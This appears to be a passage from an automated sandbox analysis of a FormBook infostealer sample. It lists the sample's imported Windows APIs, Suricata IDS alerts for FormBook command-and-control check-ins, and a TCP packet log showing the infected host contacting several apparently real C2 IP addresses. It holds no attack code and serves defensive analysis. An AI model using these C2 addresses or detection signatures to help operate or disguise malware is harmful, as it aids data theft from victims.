EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-18T18:27:31.736327+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54153	80	192.168.2.9	116.213.43.190
2024-08-18T18:25:03.084512+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54113	80	192.168.2.9	38.12.1.29
2024-08-18T18:27:54.136691+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54154	80	192.168.2.9	116.213.43.190
2024-08-18T18:26:39.070556+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54140	80	192.168.2.9	216.83.33.145
2024-08-18T18:27:11.524512+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54150	80	192.168.2.9	76.223.67.189
2024-08-18T18:26:36.534944+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54139	80	192.168.2.9	216.83.33.145
2024-08-18T18:26:22.591621+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54135	80	192.168.2.9	203.161.55.102
2024-08-18T18:25:05.596887+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54114	80	192.168.2.9	38.12.1.29
2024-08-18T18:27:09.314071+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54149	80	192.168.2.9	76.223.67.189
2024-08-18T18:26:55.739873+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54145	80	192.168.2.9	35.241.42.217
2024-08-18T18:25:41.578715+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54124	80	192.168.2.9	109.95.158.127
2024-08-18T18:26:11.701068+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54132	80	192.168.2.9	64.226.69.42
2024-08-18T18:26:30.196897+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54138	80	192.168.2.9	203.161.55.102
2024-08-18T18:26:14.261587+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54133	80	192.168.2.9	64.226.69.42
2024-08-18T18:25:16.688199+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54117	80	192.168.2.9	217.116.0.191
2024-08-18T18:27:03.862811+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54147	80	192.168.2.9	76.223.67.189
2024-08-18T18:26:09.344103+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54131	80	192.168.2.9	64.226.69.42
2024-08-18T18:27:06.426141+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54148	80	192.168.2.9	76.223.67.189
2024-08-18T18:27:29.189423+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54152	80	192.168.2.9	116.213.43.190
2024-08-18T18:28:01.299489+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54155	80	192.168.2.9	116.213.43.190
2024-08-18T18:25:33.234377+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54122	80	192.168.2.9	3.33.130.190
2024-08-18T18:24:41.453793+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54110	80	192.168.2.9	3.33.130.190
2024-08-18T18:25:11.551685+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54115	80	192.168.2.9	217.116.0.191
2024-08-18T18:27:26.642647+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54151	80	192.168.2.9	116.213.43.190
2024-08-18T18:24:57.999560+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54111	80	192.168.2.9	38.12.1.29
2024-08-18T18:25:44.122206+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54125	80	192.168.2.9	109.95.158.127
2024-08-18T18:26:58.248296+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54146	80	192.168.2.9	35.241.42.217
2024-08-18T18:25:46.635923+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54126	80	192.168.2.9	109.95.158.127
2024-08-18T18:25:52.178527+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54127	80	192.168.2.9	3.33.130.190
2024-08-18T18:25:54.683042+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54128	80	192.168.2.9	3.33.130.190
2024-08-18T18:25:19.127535+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54118	80	192.168.2.9	217.116.0.191
2024-08-18T18:25:24.703851+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54119	80	192.168.2.9	3.33.130.190
2024-08-18T18:26:25.374501+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54136	80	192.168.2.9	203.161.55.102
2024-08-18T18:26:44.312610+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54142	80	192.168.2.9	216.83.33.145
2024-08-18T18:25:00.535819+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54112	80	192.168.2.9	38.12.1.29
2024-08-18T18:25:57.429856+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54129	80	192.168.2.9	3.33.130.190
2024-08-18T18:28:03.830528+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54156	80	192.168.2.9	116.213.43.190
2024-08-18T18:28:07.986584+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54157	80	192.168.2.9	116.213.43.190
2024-08-18T18:26:53.197381+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54144	80	192.168.2.9	35.241.42.217
2024-08-18T18:26:41.642626+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54141	80	192.168.2.9	216.83.33.145
2024-08-18T18:26:50.635506+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54143	80	192.168.2.9	35.241.42.217
2024-08-18T18:23:51.800190+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54158	80	192.168.2.9	116.213.43.190
2024-08-18T18:26:27.651468+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54137	80	192.168.2.9	203.161.55.102
2024-08-18T18:25:27.276518+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54120	80	192.168.2.9	3.33.130.190
2024-08-18T18:26:16.778289+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54134	80	192.168.2.9	64.226.69.42
2024-08-18T18:25:39.036607+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54123	80	192.168.2.9	109.95.158.127
2024-08-18T18:25:14.036185+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54116	80	192.168.2.9	217.116.0.191
2024-08-18T18:25:29.822772+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	54121	80	192.168.2.9	3.33.130.190
2024-08-18T18:26:03.454517+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	54130	80	192.168.2.9	3.33.130.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 18, 2024 18:24:40.025554895 CEST	54110	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:24:40.030534029 CEST	80	54110	3.33.130.190	192.168.2.9
Aug 18, 2024 18:24:40.030653000 CEST	54110	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:24:40.033992052 CEST	54110	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:24:40.038857937 CEST	80	54110	3.33.130.190	192.168.2.9
Aug 18, 2024 18:24:41.453566074 CEST	80	54110	3.33.130.190	192.168.2.9
Aug 18, 2024 18:24:41.453593016 CEST	80	54110	3.33.130.190	192.168.2.9
Aug 18, 2024 18:24:41.453793049 CEST	54110	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:24:41.457294941 CEST	54110	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:24:41.462157965 CEST	80	54110	3.33.130.190	192.168.2.9
Aug 18, 2024 18:24:57.108887911 CEST	54111	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:57.115726948 CEST	80	54111	38.12.1.29	192.168.2.9
Aug 18, 2024 18:24:57.115832090 CEST	54111	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:57.118403912 CEST	54111	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:57.125284910 CEST	80	54111	38.12.1.29	192.168.2.9
Aug 18, 2024 18:24:57.999445915 CEST	80	54111	38.12.1.29	192.168.2.9
Aug 18, 2024 18:24:57.999469995 CEST	80	54111	38.12.1.29	192.168.2.9
Aug 18, 2024 18:24:57.999560118 CEST	54111	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:58.627026081 CEST	54111	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:59.645802975 CEST	54112	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:59.651024103 CEST	80	54112	38.12.1.29	192.168.2.9
Aug 18, 2024 18:24:59.651108027 CEST	54112	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:59.653018951 CEST	54112	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:24:59.657902956 CEST	80	54112	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:00.535697937 CEST	80	54112	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:00.535741091 CEST	80	54112	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:00.535819054 CEST	54112	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:01.158145905 CEST	54112	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:02.176656961 CEST	54113	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:02.181583881 CEST	80	54113	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:02.181751013 CEST	54113	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:02.183993101 CEST	54113	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:02.188827038 CEST	80	54113	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:02.188915968 CEST	80	54113	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:03.084317923 CEST	80	54113	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:03.084445000 CEST	80	54113	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:03.084511995 CEST	54113	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:03.689321995 CEST	54113	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:04.709363937 CEST	54114	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:04.714329958 CEST	80	54114	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:04.714420080 CEST	54114	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:04.718010902 CEST	54114	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:04.722754002 CEST	80	54114	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:05.596633911 CEST	80	54114	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:05.596734047 CEST	80	54114	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:05.596887112 CEST	54114	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:05.600394964 CEST	54114	80	192.168.2.9	38.12.1.29
Aug 18, 2024 18:25:05.605628967 CEST	80	54114	38.12.1.29	192.168.2.9
Aug 18, 2024 18:25:10.829180956 CEST	54115	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:10.834115028 CEST	80	54115	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:10.834227085 CEST	54115	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:10.836031914 CEST	54115	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:10.840876102 CEST	80	54115	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:11.551311970 CEST	80	54115	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:11.551604033 CEST	80	54115	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:11.551685095 CEST	54115	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:12.345525980 CEST	54115	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:13.365291119 CEST	54116	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:13.370387077 CEST	80	54116	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:13.370488882 CEST	54116	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:13.373100042 CEST	54116	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:13.377993107 CEST	80	54116	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:14.036062956 CEST	80	54116	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:14.036088943 CEST	80	54116	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:14.036185026 CEST	54116	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:14.876827955 CEST	54116	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:15.895776987 CEST	54117	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:15.900794983 CEST	80	54117	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:15.900881052 CEST	54117	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:15.903558969 CEST	54117	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:15.908427000 CEST	80	54117	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:15.908488035 CEST	80	54117	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:16.688044071 CEST	80	54117	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:16.688064098 CEST	80	54117	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:16.688199043 CEST	54117	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:17.408241034 CEST	54117	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:18.427500010 CEST	54118	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:18.432414055 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:18.432543039 CEST	54118	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:18.434490919 CEST	54118	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:18.439347029 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:19.127294064 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:19.127311945 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:19.127326012 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:19.127535105 CEST	54118	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:19.133037090 CEST	54118	80	192.168.2.9	217.116.0.191
Aug 18, 2024 18:25:19.137861967 CEST	80	54118	217.116.0.191	192.168.2.9
Aug 18, 2024 18:25:24.231669903 CEST	54119	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:24.236538887 CEST	80	54119	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:24.236615896 CEST	54119	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:24.238148928 CEST	54119	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:24.243000031 CEST	80	54119	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:24.703754902 CEST	80	54119	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:24.703850985 CEST	54119	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:25.751812935 CEST	54119	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:25.756761074 CEST	80	54119	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:26.771603107 CEST	54120	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:26.776524067 CEST	80	54120	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:26.776645899 CEST	54120	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:26.779285908 CEST	54120	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:26.784061909 CEST	80	54120	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:27.271330118 CEST	80	54120	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:27.276518106 CEST	54120	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:28.283096075 CEST	54120	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:28.288016081 CEST	80	54120	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:29.304802895 CEST	54121	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:29.310112000 CEST	80	54121	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:29.310194016 CEST	54121	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:29.312855005 CEST	54121	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:29.317858934 CEST	80	54121	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:29.317941904 CEST	80	54121	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:29.822544098 CEST	80	54121	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:29.822772026 CEST	54121	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:30.814671993 CEST	54121	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:30.819592953 CEST	80	54121	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:31.833221912 CEST	54122	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:31.838284969 CEST	80	54122	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:31.838397026 CEST	54122	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:31.840135098 CEST	54122	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:31.845163107 CEST	80	54122	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:33.232374907 CEST	80	54122	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:33.234317064 CEST	80	54122	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:33.234376907 CEST	54122	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:33.248146057 CEST	54122	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:33.253257036 CEST	80	54122	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:38.350972891 CEST	54123	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:38.356785059 CEST	80	54123	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:38.358613968 CEST	54123	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:38.362489939 CEST	54123	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:38.367602110 CEST	80	54123	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:39.036468983 CEST	80	54123	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:39.036552906 CEST	80	54123	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:39.036607027 CEST	54123	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:39.878932953 CEST	54123	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:40.900548935 CEST	54124	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:40.905630112 CEST	80	54124	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:40.905716896 CEST	54124	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:40.908099890 CEST	54124	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:40.912934065 CEST	80	54124	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:41.578433990 CEST	80	54124	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:41.578589916 CEST	80	54124	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:41.578715086 CEST	54124	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:42.423892021 CEST	54124	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:43.443038940 CEST	54125	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:43.448084116 CEST	80	54125	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:43.448164940 CEST	54125	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:43.450443029 CEST	54125	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:43.455368042 CEST	80	54125	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:43.455631018 CEST	80	54125	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:44.121920109 CEST	80	54125	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:44.122037888 CEST	80	54125	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:44.122205973 CEST	54125	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:44.975038052 CEST	54125	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:45.989125967 CEST	54126	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:45.994277954 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:45.994457960 CEST	54126	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:45.996210098 CEST	54126	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:46.001070976 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:46.635668039 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:46.635730982 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:46.635736942 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:46.635922909 CEST	54126	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:46.638667107 CEST	54126	80	192.168.2.9	109.95.158.127
Aug 18, 2024 18:25:46.643598080 CEST	80	54126	109.95.158.127	192.168.2.9
Aug 18, 2024 18:25:51.666106939 CEST	54127	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:51.672681093 CEST	80	54127	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:51.672811031 CEST	54127	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:51.675002098 CEST	54127	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:51.682543039 CEST	80	54127	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:52.178428888 CEST	80	54127	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:52.178527117 CEST	54127	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:53.189368010 CEST	54127	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:53.194333076 CEST	80	54127	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:54.207918882 CEST	54128	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:54.212894917 CEST	80	54128	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:54.214895964 CEST	54128	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:54.216761112 CEST	54128	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:54.222516060 CEST	80	54128	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:54.682907104 CEST	80	54128	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:54.683042049 CEST	54128	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:55.720597982 CEST	54128	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:55.725562096 CEST	80	54128	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:56.936245918 CEST	54129	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:56.941600084 CEST	80	54129	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:56.941694975 CEST	54129	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:56.946115971 CEST	54129	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:56.951703072 CEST	80	54129	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:56.951955080 CEST	80	54129	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:57.429785013 CEST	80	54129	3.33.130.190	192.168.2.9
Aug 18, 2024 18:25:57.429856062 CEST	54129	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:58.456528902 CEST	54129	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:25:58.462378025 CEST	80	54129	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:00.044059038 CEST	54130	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:26:00.049617052 CEST	80	54130	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:00.049693108 CEST	54130	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:26:00.052233934 CEST	54130	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:26:00.062509060 CEST	80	54130	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:03.453802109 CEST	80	54130	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:03.454262018 CEST	80	54130	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:03.454516888 CEST	54130	80	192.168.2.9	3.33.130.190
Aug 18, 2024 18:26:03.457616091 CEST	54130	80	192.168.2.9	3.33.130.190
